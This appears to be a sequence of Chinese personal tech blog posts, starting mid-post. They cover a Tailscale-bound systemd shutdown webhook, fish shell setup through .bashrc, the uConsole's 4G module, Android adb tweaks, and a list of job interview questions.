因为希望这个 webhook 只能够被 tailscale 内网上的设备请求，所以我的服务端 netcat 指定绑定了 tailscale0 网卡的 IP。但是刚开机的时候 tailscale 可能还没有开始运行，所以需要额外配置一个依赖，也就是 Wants=tailscaled.service。这样应该就好了吧，right？…RIGHT？

 1[Unit]
 2Description=System shutdown webhook
 3After=network.target tailscaled.service
 4Wants=tailscaled.service
 5
 6[Service]
 7Type=exec
 8ExecStart=/bin/bash -ec 'while true; do req=$(echo "HTTP/1.1 200 OK" | nc -l -N <TAILSCALE_IP> 8888); secret=$(echo "<PASSWORD>_$(($(date +%%s)/10))" | sha256sum | cut -d " " -f 1); if [[ "$req" = *"$secret"* ]]; then echo "Secret correct, shutting down..."; shutdown; else echo "Secret wrong: $req"; fi; done'
 9Restart=on-failure
10
11[Install]
12WantedBy=multi-user.target

开机以后请求不通。journalctl -b -u shutdown-webhook：

Jul 24 18:13:38 remote-sbc systemd[1]: Starting shutdown-webhook.service - System shutdown webhook...
Jul 24 18:13:38 remote-sbc systemd[1]: Started shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:38 remote-sbc bash[1124]: nc: Cannot assign requested address
Jul 24 18:13:38 remote-sbc systemd[1]: shutdown-webhook.service: Main process exited, code=exited, status=1/FAILURE
Jul 24 18:13:38 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result 'exit-code'.
Jul 24 18:13:38 remote-sbc systemd[1]: shutdown-webhook.service: Scheduled restart job, restart counter is at 1.
Jul 24 18:13:38 remote-sbc systemd[1]: Stopped shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:38 remote-sbc systemd[1]: Starting shutdown-webhook.service - System shutdown webhook...
Jul 24 18:13:38 remote-sbc systemd[1]: Started shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:38 remote-sbc bash[1150]: nc: Cannot assign requested address
Jul 24 18:13:38 remote-sbc systemd[1]: shutdown-webhook.service: Main process exited, code=exited, status=1/FAILURE
Jul 24 18:13:38 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result 'exit-code'.
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Scheduled restart job, restart counter is at 2.
Jul 24 18:13:39 remote-sbc systemd[1]: Stopped shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:39 remote-sbc systemd[1]: Starting shutdown-webhook.service - System shutdown webhook...
Jul 24 18:13:39 remote-sbc systemd[1]: Started shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:39 remote-sbc bash[1170]: nc: Cannot assign requested address
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Main process exited, code=exited, status=1/FAILURE
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result 'exit-code'.
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Scheduled restart job, restart counter is at 3.
Jul 24 18:13:39 remote-sbc systemd[1]: Stopped shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:39 remote-sbc systemd[1]: Starting shutdown-webhook.service - System shutdown webhook...
Jul 24 18:13:39 remote-sbc systemd[1]: Started shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:39 remote-sbc bash[1188]: nc: Cannot assign requested address
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Main process exited, code=exited, status=1/FAILURE
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result 'exit-code'.
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Scheduled restart job, restart counter is at 4.
Jul 24 18:13:40 remote-sbc systemd[1]: Stopped shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:40 remote-sbc systemd[1]: Starting shutdown-webhook.service - System shutdown webhook...
Jul 24 18:13:40 remote-sbc systemd[1]: Started shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:40 remote-sbc bash[1232]: nc: Cannot assign requested address
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Main process exited, code=exited, status=1/FAILURE
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result 'exit-code'.
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Scheduled restart job, restart counter is at 5.
Jul 24 18:13:40 remote-sbc systemd[1]: Stopped shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Start request repeated too quickly.
Jul 24 18:13:40 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result 'exit-code'.
Jul 24 18:13:40 remote-sbc systemd[1]: Failed to start shutdown-webhook.service - System shutdown webhook.

（这里还可以提一嘴关于 bash -e：我一开始只用了 bash -c 执行那个单行服务器脚本。结果 netcat 报错以后脚本会继续执行，报 Secret wrong: 然后继续循环执行，不会退出。于是几秒里打出来好几百条日志，systemd 也不会判定服务失败，因为并没有退出 while true 循环。加入 -e 以后，bash -ec 会在任何指令返回非 0 返回码，即报错的情况下退出，于是这里能够正确的落到 systemd 头上帮我们做兜底。更多关于 bash 的 -e 以及恶魔般的 -Eeuxo pipefail，详见这个 gist: bash_strict_mode.md）

可以看到 netcat 并不能成功绑定到指定的 IP 上，重试 5 次以后 systemd 认为服务启动失败了。为什么？明明我们指定依赖了 tailscaled.service 呀？

这次终于不是我的锅了。看起来，tailscale 在真的准备好之前，就通知 systemd 它准备好了：

Tailscaled tells systemd that it is ready before its ip address is bindable · Issue #11504 · tailscale/tailscale

https://github.com/tailscale/tailscale/issues/11504

Issue 里也有热心大佬给出了解决方法，增加一个 ExecStartPre=/bin/bash -c 'until tailscale status; do sleep 1; done' 前置检查即可。Systemd 会在启动服务之前先检查 tailscale 是不是真的有可绑定的 IP 了，然后再启动服务。在 tailscale 修复这个问题之前，只能这么 workaround 了。

另外，为什么 systemd 只重试了 5 次就判定服务启动失败，然后就不重试了？这就要提到三个 systemd 的配置项：RestartSec=，StartLimitIntervalSec=interval, StartLimitBurst=burst。在 /etc/systemd/system.conf 里可以看到，默认的重试间隔是 100ms，限制窗口是 10s，重试限制是 5 次。意思是说，每个 10 秒的窗口内如果重启超过 5 次，那 systemd 就会判定服务挂掉不再重启。而这里我们每次启动立刻就会报错退出，间隔 100ms，那马上就会用光 5 次机会。所以另一个防止 systemd 判定失败的方法就是加上 RestartSec=2，这样就算一直重启，也不会在 10 秒的窗口里超过 5 次的限制，会一直重试下去。

结合这两个 workaround，最终版的服务出炉了：

 1[Unit]
 2Description=System shutdown webhook
 3After=network.target tailscaled.service
 4Wants=tailscaled.service
 5
 6[Service]
 7Type=exec
 8# https://github.com/tailscale/tailscale/issues/11504
 9ExecStartPre=/bin/bash -c 'until tailscale status; do sleep 1; done'
10ExecStart=/bin/bash -ec 'while true; do req=$(echo "HTTP/1.1 200 OK" | nc -l -N <TAILSCALE_IP> 8888); secret=$(echo "<PASSWORD>_$(($(date +%%s)/10))" | sha256sum | cut -d " " -f 1); if [[ "$req" = *"$secret"* ]]; then echo "Secret correct, shutting down..."; shutdown; else echo "Secret wrong: $req"; fi; done'
11Restart=on-failure
12RestartSec=2
13
14[Install]
15WantedBy=multi-user.target

大约八年前，我从同学那儿了解到了 fish shell。在这之后，我使用的所有非临时 Linux 环境都装上了 fish 作为交互 shell 使用。fish 智能的自动补全和漂亮的高亮让我无法离开，但是 fish 有一个不那么方便的特性：不太兼容 Bash。

现代 Linux（尤其是我常用的 Debian/Ubuntu/Arch 等发行版）相当依赖 Bash。他们都预装并使用 Bash 作为默认 shell，在系统运行过程中（比如 login shell 初始化等等）都会执行很多 Bash 脚本。绝大部分的 Linux 指令教程只会提供 Bash 的版本，绝大部分软件的安装脚本和运行脚本等等也都会使用 Bash 脚本。

在这个 Bash 为王的世界，想要优雅的使用 fish 作为默认 shell 需要好好动一些心思。

需求

对于使用的方法和配置的结果，我有这么几个需求。

首先，对系统原始配置的改动要尽量少。虽然 Linux 有无与伦比的开放性，但是我还是倾向于尽量使用原生工具，并且尽量使用默认配置（fish 是少数的特例）。原因有二，一来不需要记忆这么多的定制项，要重装或者新配置环境的时候都可以尽快上手；二来有时候在用一些没有定制化的环境（比如在一个容器里临时 debug）的时候，也不会出现习惯了高级工具或者配置，由奢入俭难的问题。

其次，要能尽量兼容 Bash 的存在。需要 Bash 的时候，fish 不会挡道。

最后，环境变量等配置，需要尽量无感平移到 fish 中。和第一点其实类似，我不想为了 fish 再写一套新的初始化脚本，到时候 Bash fish 两边同步维护也会非常麻烦。

方法

万能的 ArchWiki 其实已经给出了很好的解答：https://wiki.archlinux.org/title/Fish#System_integration。主要有三种方法：直接更改默认shell，改终端模拟器配置，改.bashrc。

更改默认 shell

最直接的方法，就是直接把用户的默认 login shell 改成 fish。这也是我在18年的这篇笔记里记录的方法：

1chsh -s /usr/bin/fish

当时的我还没有那么深入使用 Linux，对这一操作的后果并不了解（实际上倒也没那么大问题 lol）。直接更改 login shell 主要影响的就是环境变量的配置，即（包括但不限于）/etc/profile ~/.bash_profile /etc/bash.bashrc ~/.bashrc 这几个文件不会自动在登录的时候被 source，里面包含的一些默认的环境变量配置需要再单独写 fish 的配置去设置。

执行 Bash 脚本之类的任务倒是不会影响，因为都有 shabang 行指定解释器。在 fish 里临时进 bash 跑些东西也是很方便。

更改终端配置

一个有些不太直接的方法，就是在终端模拟器（gnome-terminal，wezterm，etc.）或者终端复用器（tmux，zellij，etc.）或者 SSH 连接设置里设置使用 fish。终端模拟器和复用器拉起的 fish 应该都能正确拿到 login shell 的环境变量，但是 SSH 启动的就是 login shell，肯定还得另外配置。我不喜欢这种方法的点主要在于不够无感，需要手动在所有访问 shell 的地方进行设置。

更改 .bashrc

这是我目前一直采用的方案，相对折中，配置也很方便。

既然我们想要 fish 继承 login shell（也就是 Bash）的环境变量，又想自动进入 fish，那我们只需要找一个方法让 Bash 在初始化的最后调用 fish。碰巧 Bash 会在交互模式下加载 ~/.bashrc 这个文件，那只需在这个配置文件的最后一行加上：

1exec fish

就大功告成啦！这样配置非常简洁好记，不影响 login shell 的加载，fish 也能完全继承 Bash 里的环境变量，也无所谓使用什么终端或是 SSH 访问。exec 执行的指令也会直接替换掉当前的进程，于是 fish 的进程会直接挂在终端下面，而不是挂在一个 Bash 进程下面。在过去的好几年里，我的个人机器上都用着这个配置。

这一行简单的配置能满足我 99.9% 情况下的需求，但是有一个小小的缺陷：偶尔一次需要进入 Bash 执行命令的时候，会有一些麻烦。ArchWiki 提到可以用 bash --norc 来绕过 .bashrc 的执行，但是这同时会导致一堆配置没有被加载。我一般会临时把 .bashrc 里的这行 exec fish 注掉，开一个新的窗口操作，完事了再给改回去。属实麻烦。

这两天重看 ArchWiki 的时候，发现这几年间的更新，维护者们提供了一个复杂得多，但是更完善的命令：

1if [[ $(ps --no-header --pid=$PPID --format=comm) != "fish" && -z ${BASH_EXECUTION_STRING} && ${SHLVL} == 1 ]]
2then
3    shopt -q login_shell && LOGIN_OPTION='--login' || LOGIN_OPTION=''
4    exec fish $LOGIN_OPTION
5fi

以上命令来自：https://wiki.archlinux.org/title/Fish#Modify_.bashrc_to_drop_into_fish

这一串东西主要完成了三件事情：

• [[ $(ps --no-header --pid=$PPID --format=comm) != "fish" && ${SHLVL} == 1 ]] 这两个判断条件分别是“当前 shell 是否不是 fish”以及“当前 shell 层级是否在第一层”，意思是只有在不是 fish，以及第一层的条件下，才会进入 fish。这样一来，只有最开始的那一层 Bash 才会进入 fish，后面在 fish 里继续执行 bash 都会留在 Bash 里，解决了我刚提到的痛点。

• [[ -z ${BASH_EXECUTION_STRING} ]] 用来判断当前是否是 bash -c 执行命令的情况，避免这时候进入 fish。不过 Bash 在非交互模式下并不会调用 .bashrc，而且至少 Debian/Ubuntu 默认自带的 .bashrc 文件最开头就判断了是否为交互模式，非交互模式直接跳过。所以这个条件更准确的来说是用来避免 bash -c -i 这种强制交互模式执行指令的情况下进入 fish。

• shopt -q login_shell && LOGIN_OPTION='--login' || LOGIN_OPTION='' 用来获取当前是否是 login shell。实话说我不太清楚 fish 默认在 login 和 non-login shell 情况下表现有什么区别，文档里并没有对此进行说明。倒是 config.fish 里可以使用 if status is-login 来指定一些 login shell 情况下执行的配置，我怀疑现在这可能就是唯一的区别，即只是一个状态标记的区别。

  fish 的文档里确实有提到无论何种状态，fish 都会读取 config.fish，不像 Bash 会区分不同的状态读不同的配置文件。用 if status 去区分交互/非交互或者 login/no-login 状态就是文档里推荐的做法，这样功能上就和 Bash 统一上了，所以我认为我的猜测应该八九不离十。我的 config.fish 里基本没有什么内容，所以这个部分对我意义也不大。

总结下来，这样一大串补丁确实解决了单独 exec fish 带来的一些问题，但是是否值得专程跑过来复制一通值得商榷。我会在日常稳定使用的机器上用完整版的配置，但是如果需要快速配置一下 fish，单光一行 exec fish 已经足够很好的完成任务了。

（很好奇再过 5 年，ArchWiki 上这串代码块会不会成长为一个怪兽；）

$SHELL 的问题

相比于直接 exec fish，完整版配置在使用 Zellij 或是 Midnight Commander 这类工具的时候，加载的 shell 从 fish 变成了 Bash。

如果 .bashrc 只是简单执行 exec fish，那么他们启动的 Bash 最后都会落入 fish（mc 其实会有问题，fish-shell#10963，这里不展开）。但是完整的配置会检查当前进程和 $SHLVL，在 fish 里启动一个新的 subshell，进程名为 fish 且层级数大于 1，符合预期地进入 Bash。

巧的是，这两个工具都是读取 $SHELL 环境变量选择使用的 shell。用户默认的 $SHELL 设置来自于 /etc/passwd，一般默认就是 /bin/bash。于是一个简单的 workaround 就是主动设置 $SHELL，在 fish 的时候设置成对应的 /bin/fish，在 bash 的时候再恢复为 /bin/bash。如下：

1if [[ $(ps --no-header --pid=$PPID --format=comm) != "fish" && -z ${BASH_EXECUTION_STRING} && ${SHLVL} == 1 ]]
2then
3    shopt -q login_shell && LOGIN_OPTION='--login' || LOGIN_OPTION=''
4    SHELL="/bin/fish" exec fish $LOGIN_OPTION
5fi
6export SHELL="/bin/bash"

这样一来，不管在 fish 还是 Bash 下，zellij 和 mc 都能正确进入对应的 shell 了。

~/.local/bin 的困扰

问题

在 .bashrc 中 exec fish 还带来了另一个副作用。

~/.local/bin 是一个我这几年越发常用的路径，XDG 规范推荐使用这个路径存放用户自己的可执行文件。我会把一些自定义的可执行文件（直接下载的软件，脚本，等等）存放或是软链接到这个路径下，这样就可以直接执行了，管理起来也很方便。

但是前提是，这个路径被正确添加到了 $PATH 里。在最近的 Debian/Ubuntu 系统里，默认的 ~/.profile 文件（/etc/skel/.profile）内容是这样的：

 1# ~/.profile: executed by the command interpreter for login shells.
 2# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
 3# exists.
 4# see /usr/share/doc/bash/examples/startup-files for examples.
 5# the files are located in the bash-doc package.
 6
 7# the default umask is set in /etc/profile; for setting the umask
 8# for ssh logins, install and configure the libpam-umask package.
 9#umask 022
10
11# if running bash
12if [ -n "$BASH_VERSION" ]; then
13    # include .bashrc if it exists
14    if [ -f "$HOME/.bashrc" ]; then
15        . "$HOME/.bashrc"
16    fi
17fi
18
19# set PATH so it includes user's private bin if it exists
20if [ -d "$HOME/bin" ] ; then
21    PATH="$HOME/bin:$PATH"
22fi
23
24# set PATH so it includes user's private bin if it exists
25if [ -d "$HOME/.local/bin" ] ; then
26    PATH="$HOME/.local/bin:$PATH"
27fi

非常简洁明了，login shell（Bash）会在启动时加载这个文件，首先加载 .bashrc，然后分别判断 ~/bin 和 ~/.local/bin 是否存在，存在的话加入 $PATH。

GUI 模式下，X.org 会在非交互模式下加载用户的 login shell（抱歉我还没用上 Wayland）。于是加载 .bashrc 的时候，上来就会碰上这几行：（摘自 /etc/skel/.bashrc 的开头）

1# If not running interactively, don't do anything
2case $- in
3    *i*) ;;
4      *) return;;
5esac

于是 . "$HOME/.bashrc" 直接返回，继续执行完 .profile 的剩下两块代码。这么一来，桌面版系统只要存在这两个 bin 路径，重新登录后他们就会自动出现在环境变量里。Nice！

但如果是 SSH 连接呢？当使用 SSH 远程登录的时候，SSH 会使用一个交互式的 login shell。坏了！这样一来，.profile 在调用 .bashrc 的时候，就会执行到最后几行进入 fish，.profile 的最后两块代码永远也不会被执行了。于是在 SSH 连接的时候，~/.local/bin 不会被正确的加入环境变量。

所以问题就是，如何在 login shell 下正确添加 ~/.local/bin 到环境变量。

解决方法

一种方案是直接修改 .profile，把 .bashrc 的块移动到最下面。我并不太乐意采用这个方案，因为好像是个有点大的改动，并且担心这个顺序变动在将来会造成环境变量优先级错乱。

另一种方法是在 fish.config 里判断 login shell 的时候执行 .profile。这好像是个办法，但其实不可行：在 .bashrc 执行的过程中我就已经需要这个环境变量了，比如引用这个路径下的 uv 生成 Bash 自动补全。到启动 fish 以后再引入变量已经来不及了。

所以最后一个折中方案，就是直接把 .profile 的后两块复制一份进 .bashrc，在加载 fish 之前手动添加一下环境变量（我只用 ~/.local/bin，所以只复制这部分）。这解决了 SSH 情况下没有环境变量的问题，但是会导致 GUI 环境的 shell 环境变量里，~/.local/bin 出现了两次。倒也不是什么大问题，只是我觉得有些别扭，于是可以再多加一个字符串判定：[[ "$PATH" != *"$HOME/.local/bin"* ]]，或者也可以写成 [[ ! "$PATH" =~ "$HOME/.local/bin" ]] 。于是最终版的 .bashrc 额外配置如下：

 1...  # 原本的 .bashrc 配置
 2
 3# set PATH so it includes user's private bin if it exists
 4if [[ -d "$HOME/.local/bin" && "$PATH" != *"$HOME/.local/bin"* ]] ; then
 5    PATH="$HOME/.local/bin:$PATH"
 6fi
 7
 8...  # 依赖 .local/bin 的一些配置
 9
10# enter fish
11if [[ $(ps --no-header --pid=$PPID --format=comm) != "fish" && -z ${BASH_EXECUTION_STRING} && ${SHLVL} == 1 ]]
12then
13    shopt -q login_shell && LOGIN_OPTION='--login' || LOGIN_OPTION=''
14    SHELL="/bin/fish" exec fish $LOGIN_OPTION
15fi
16export SHELL="/bin/bash"

一月份终于收到了我去年四月底预订的 uConsole，自然是要好好折腾一翻。因为是 CM4 核心，所以大部分功能是开箱即用，和正常的树莓派以及 Linux 桌面无异。

这里有一些人家列出来的可以折腾的事情：https://github.com/cjstoddard/Clockworkpi-uConsole

订购的版本带有 4G 模块，于是这个没接触过的新玩意成为了折腾的重点。

基础使用

官方文档里给出了启用 4G 模块、联网以及拨打电话的基础说明。

https://github.com/clockworkpi/uConsole/wiki/How-to-use-the-4G-extension

https://github.com/clockworkpi/uConsole/wiki/How-to-make-phone-call---send-sms-with-4G-extension

简单来说就是用官方的脚本启用模块，然后能用 mmcli (ModemManager) 看到基带，接着用 nmcli (NetworkManager) 新建一个连接就可以联网了。打电话发短信这些功能，文档也给出了一些对应的 AT 指令。

在文档里，提及了两种不同的驱动，在 mmcli 中对应显示的 primary port 分别为 ttyUSB2 和 cdc-wdm0。在官方的镜像中，默认提供的是 ttyUSB2，而在 Rex 大佬提供的 Bookworm 镜像中，默认使用的是 cdc-wdm0 这种方式。官方推荐使用 ttyUSB2 这一种连接方式，甚至建议屏蔽掉另一种的连接驱动。不过根据 Jeff Geerling 的这一篇博客以及相关的评论，cdc-wdm0 应当是一个更优雅的选择。而且实际使用 nmcli 建立连接的时候，两者没有表现出任何区别，所以好像完全没必要去屏蔽 qmi 驱动…

另外，这个文档里面提到了两种固件 9001 和 9011，出厂应该是 9001，可以选择刷到 9011，但是貌似无法刷回 9001。两种固件的区别在于 9001 可以让 mmcli 等工具直接访问和控制基带底层功能，而 9011 会把整个 4G 模块以一个 USB 网卡的形式暴露给系统，只提供上网，而没有办法访问底层的功能。我选择还是使用 9001 固件。

建立网络连接

Linux 不愧是 Linux，做一件事情总有好几种方法。Jeff Geerling 的博客里介绍的联网方法比较原始，需要使用 qmicli，还要手动用 udhcpc 处理网络地址和路由。而在现代的 debian 系统里，这些底层的功能都被包裹进了 NetworkManager 和 ModemManager 这样的高层工具。

不过就算如此，NetworkManager 还是有好几种建立连接的方法。

第一种是和文档中一样的，直接建立新连接：

1sudo nmcli c add type gsm ifname '*' con-name 4gnet apn ctnet

（这里的 APN 用的是中国电信的 ctnet，按需更改）

第二种方式是通过激活这个 device，NetworkManager 会自动建立对应的连接：

1sudo nmcli d connect cdc-wdm0

（这里 4G 模块对应的网卡名是 cdc-wdm0，按需更改）

第三种方式是通过 GUI，在树莓派桌面的网络连接菜单里选择 Edit Connections，然后通过加号按钮新建连接。这种方法需要选择 SIM 卡的运营商，系统可能没有内置这些信息，需要额外安装 mobile-broadband-provider-info 这个包。

这本质上都是在使用 NetworkManager 创建连接，只是三种不同的调用方法。有点奇怪但也不意外的是，而这三种创建出来的连接各有不同的默认值。分别尝试过以后，我还是相对更倾向于使用第一种直接建立连接的方法。

IPv6

这年头国内运营商默认都给 IPv6 了，但是 uConsole 通过 4G 联网以后并没有拿到 IPv6 地址。

这是个挺隐蔽的问题，也体现了这些移动通讯行业的技术栈有多么复杂。在这篇树莓派论坛的帖子里，有人提到初始承载默认使用了 IPv4 单栈，更新为双栈以后就有 IPv6 了。我看了下我的连接的确如此，初始承载使用了 IPv4 单栈，这样就算后面实际使用的数据承载是双栈，也只能拿到 IPv4。

于是执行这个指令：

1sudo mmcli -m 0 --3gpp-set-initial-eps-bearer-settings="ip-type=ipv4v6"

把初始承载更新为双栈，重启基带就有 IPv6 了。

发短信

官方教程给出的方法是通过 AT 指令。但是讲真的，谁会那些东西？简直是在念魔咒。

好在 mmcli 拯救了我们。根据 mmcli 的文档，可以用这几个指令发送短信：

1sudo mmcli -m 0 --messaging-create-sms="text='hello world',number='+861xxxxxxxxxx'"  # 新建短信草稿，更多可传参数详见文档
2sudo mmcli -m 0 --messaging-list-sms  # 查看当前的短信列表
3sudo mmcli -m 0 -s 0 --send  # 发送编号为0的短信 （-b 控制短信编号）

还可以用这几个指令查看收到的短信：

1sudo mmcli -m 0 --messaging-list-sms  # 查看当前的短信列表
2sudo mmcli -m 0 -s 0  # 查看编号为0的短信 （-b 控制短信编号）

还是觉得复杂？我也是。好在有人做了对应的 GUI 软件，我们有两个选择，modem-manager-gui (archive, github mirror?) 或是 Chatty (GNOME Chats)。考虑到 mmgui 基本是一个停止维护的状态，以及从外观上来说，我会更倾向使用 Chatty（美观，正在开发中）。

现在 Flatpak 版本的 Chatty 没法正常发送桌面通知，以及有一些路径不对应导致的 Matrix 功能无法使用，但是不影响短信。应该说开发者并没有主力在维护 Flatpak 版本，所以并不非常完美。除此以外使用上没什么明显的问题（毕竟主要只是当流量卡在用，而且也没人发短信了不是吗）。

Flatpak 版本不会自启动，可以手动把 daemon 添加到开机自启动，在 XDG Autostart 路径下创建这个 desktop 文件：（~/.config/autostart/sm.puri.Chatty-daemon.desktop）

 1[Desktop Entry]
 2Name=Chats (daemon)
 3Exec=flatpak run sm.puri.Chatty --daemon
 4Icon=sm.puri.Chatty
 5Comment=SMS and XMPP chat application (daemon mode)
 6Keywords=XMPP;SMS;chat;jabber;messaging;modem
 7Terminal=false
 8Type=Application
 9Categories=Network;GNOME;GTK;Chat;InstantMessaging
10NoDisplay=true
11X-GNOME-AutoRestart=true

（这个文件是取自 ~/.local/share/flatpak/app/sm.puri.Chatty/current/active/files/etc/xdg/autostart/sm.puri.Chatty-daemon.desktop 修改而来）

这样开机后 Chatty 就会自动在后台接收短信了。

打电话

要说发短信我可能还想要试试用 cli，打电话还用 cli 那就有点奇怪了。

好在解决方案非常明确：GNOME Calls。要说 Chatty 还是个 GNOME worlds 里的二等公民，Calls 那妥妥的是一等公民的核心应用。装完以后就可以和正常手机一样接打电话了。

不过如果真的接一个电话的话，就会发现虽然有来电铃声，但是接通以后并不能听到对面的声音，uConsole 也没有麦克风。在系统耳机孔插上耳机，一样没有声音，奇怪。幸好看到了这位老哥 SuperMarioSF 的帖子和博客，原来 4G 模块的音频完全独立于系统，所以耳机需要插在 4G 模块那一侧的耳机孔。难怪，我刚拼好这机器的时候也在困惑，为啥会有左右两个耳机孔。

通过系统声音接打电话也并非不可能，在 mmcli 的输出里可以看到 ports 里有一个 ttyUSB4 (audio) 是音频输出端口。如果我们能用这个虚拟 USB 声卡传输音频，就可以打通 4G 模块和系统声音了。可惜的是这件事情并没有那么简单，也没有非常成熟/现成的解决方案，能搜到的只有两个 Linux 手机系统各自造的轮子 Librem5/haegtesse 和 mobian1/callaudiod，都不是非常开箱即用。考虑到没有那么需要用这个设备打电话（这年头还有谁打电话？），也就不值得往下折腾了。

和 Chatty 一样，Calls 的 Flatpak 版本不会自启动，一样可以把 daemon 加入后台自启动（~/.config/autostart/org.gnome.Calls-daemon.desktop），这样就能有来电通知了：

 1[Desktop Entry]
 2Name=Calls (daemon)
 3GenericName=Phone
 4Comment=A phone dialer and call handler (daemon mode)
 5Keywords=Telephone;Call;Phone;Dial;Dialer;PSTN;
 6Icon=org.gnome.Calls
 7Exec=flatpak run org.gnome.Calls --daemon
 8Type=Application
 9StartupNotify=true
10NoDisplay=true
11Terminal=false
12Categories=Network;GNOME;GTK;Telephony;
13X-GNOME-AutoRestart=true
14X-GNOME-UsesNotifications=true
15X-GNOME-HiddenUnderSystemd=true

（这个文件是取自 ~/.local/share/flatpak/app/org.gnome.Calls/current/active/files/etc/xdg/autostart/org.gnome.Calls-daemon.desktop 修改而来）

后记

这篇博客的主要内容都是在这台 uConsole 上编写的。装上了 fcitx-rime（ibus-rime 有问题）和 Typora，在这个有限的键盘和屏幕上（还有那超不精确的滚珠鼠标），做一些精细编辑确实有点吃力，但是用来写一个粗稿完全没有问题。虽说重量确实有一点小重，锻炼麒麟臂了。

真是非常满足幻想的一台实体 Fantasy Console 了。

如果尚未安装 ADB，直接执行 adb 指令，Termux 会提示如何安装。

安装好后，在手机的 Developer options 中启用 Wireless debugging。选择 Pair device with pairing code，可以看到有对应的 <ip>:<port> 以及配对码。

在 Termux 中输入 adb pair 可以看到使用说明，使用 adb pair <ip>:<port> <code> 进行配对。（也可以不输 code，紧接着 adb 会提示输入）

配对完成后，使用 adb connect 建立连接，可以用 adb devices 查看已连接的设备。

以上就完成了 adb 的配对和连接，后面就可以执行下面的 shell 指令了。如果需要执行多条 adb shell xxx 指令，其实可以直接先执行 adb shell ，进入 shell 环境后只需要执行后面那句指令即可。

完成所有指令后，使用 adb disconnect 断开连接。

备注：

• 多任务切换窗口后配对码就会失效，所以可以使用分屏，同时展示设置和 Termux，即可正常完成配对。
• 配对前最好关闭 VPN，否则 IP 可能不对。

Hacks

1. 网络状态检测

   原生安卓使用的 Captive Portal Server 是谷歌的域名（实际使用的域名有众多说法，无定论），显然被墙无法访问，而且这种底层应用貌似不会被正确代理。因此需要更换 Captive Portal Server 到一个国内能够正常访问的地址。

   可以使用 V2EX 提供的：

   关于 V2EX 提供的 Android Captive Portal Server 地址的更新 - V2EX

   1adb shell "settings put global captive_portal_http_url http://captive.v2ex.co/generate_204"; 
   2adb shell "settings put global captive_portal_https_url https://captive.v2ex.co/generate_204";

   还可以添加 fallback 地址：

   1adb shell "settings put global captive_portal_fallback_url http://captive.v2ex.co/generate_204";
   2adb shell "settings put global captive_portal_other_fallback_urls http://captive.v2ex.co/generate_204";

   检查设置：（其它以此类推）

   1adb shell "settings get global captive_portal_https_url"

   除了 V2EX 的服务器外还可以使用小米和谷歌 CN 的：

   • (http/https) connect.rom.miui.com/generate_204
   • (http/https) www.google.cn/generate_204

   更多参考：

   修改 Android 探测网络状态所用的服务提供者

   Captive Portal parameters

   检测网络联通性&generate_204服务汇总与评测

2. 时间同步

   和 Captive Portal 一样，原生安卓使用的 NTP Server 也是被墙的（time.android.com），这导致系统无法正确同步时间。

   使用 ADB 修改成 pool.ntp.org 即可：

   1adb shell "settings put global ntp_server pool.ntp.org"

   检查设置：

   1adb shell "settings get global ntp_server"

   参考：

   Android 系统时间不对有遇到的吗？ - V2EX

   公共 NTP 网络时间服务器地址大全 Public NTP Server - DNS.iCoA.CN

   全国公共NTP授时服务器地址大全|Public NTP Server - dns.iui.im

3. 应用独立语言设置

   安卓 13 引入了每个应用独立的语言设置（per-app language settings），但是默认需要应用启用支持以后，才会在系统设置里显示这个应用。

   例如全局系统语言设置为英文，但是想要把 Sky Map 设置为中文，默认是不行的。因为 Sky Map 没有在构建应用的时候启用对应的支持，应用内也没有做语言切换。

   要强制启用对所有应用的独立多语言设置，可以使用 ADB 添加如下设置：

   1adb shell "settings put global settings_app_locale_opt_in_enabled false"

   检查设置：

   1adb shell "settings get global settings_app_locale_opt_in_enabled"

   然后就可以在系统语言设置里的应用语言里看到所有应用了，也可以在每个应用自己的设置界面里看到语言选项。

   参考：

   How to make every app appear in Android 13’s new per-app language settings

   另外，也可以通过 Shizuku + Language Selector 第三方 UI 实现独立应用语言选择。不过有原生 UI，还是用原生的更靠谱。

人：

1. 公司期望有多少比例的工作时间用于个人学习成长？（短期性，长期性）
2. 1个月/3个月/6个月以后，公司对我的期望是什么样的？
3. 会不会帮助职业生涯规划？有没有定义好的职业阶梯？
4. 绩效考核的模式和指标是？
5. 这个职位会参加的会议时长？
6. 实际的上班时间？加班费？休假制度？

项目：

1. 项目的独特程度有多高？
2. 对新技术的接受程度有多高？
3. 从创意到落地，一个项目的完整的流程是什么样的？
   1. 项目管理
   2. 产品经理对项目的理解
   3. 开发的自由程度，对项目的掌控权
   4. 代码管理/合作方式，部署方式，技术栈，规范，SOP
   5. 文档编写
   6. 测试流程
4. 维护工作/杂活和创新工作的比例，重要性
5. 是否存在跨团队合作，方式？

IT：

1. 是否可以使用Linux作为开发机系统？
2. 内部IM是什么？
3. 有没有使用OA系统？

公司：

1. 公司发展方向的变动程度与频率？
2. 公司的商业模式？

参考：

https://www.cambridgeincolour.com/tutorials/gamma-correction.htm

https://www.w3.org/Graphics/Color/sRGB.html

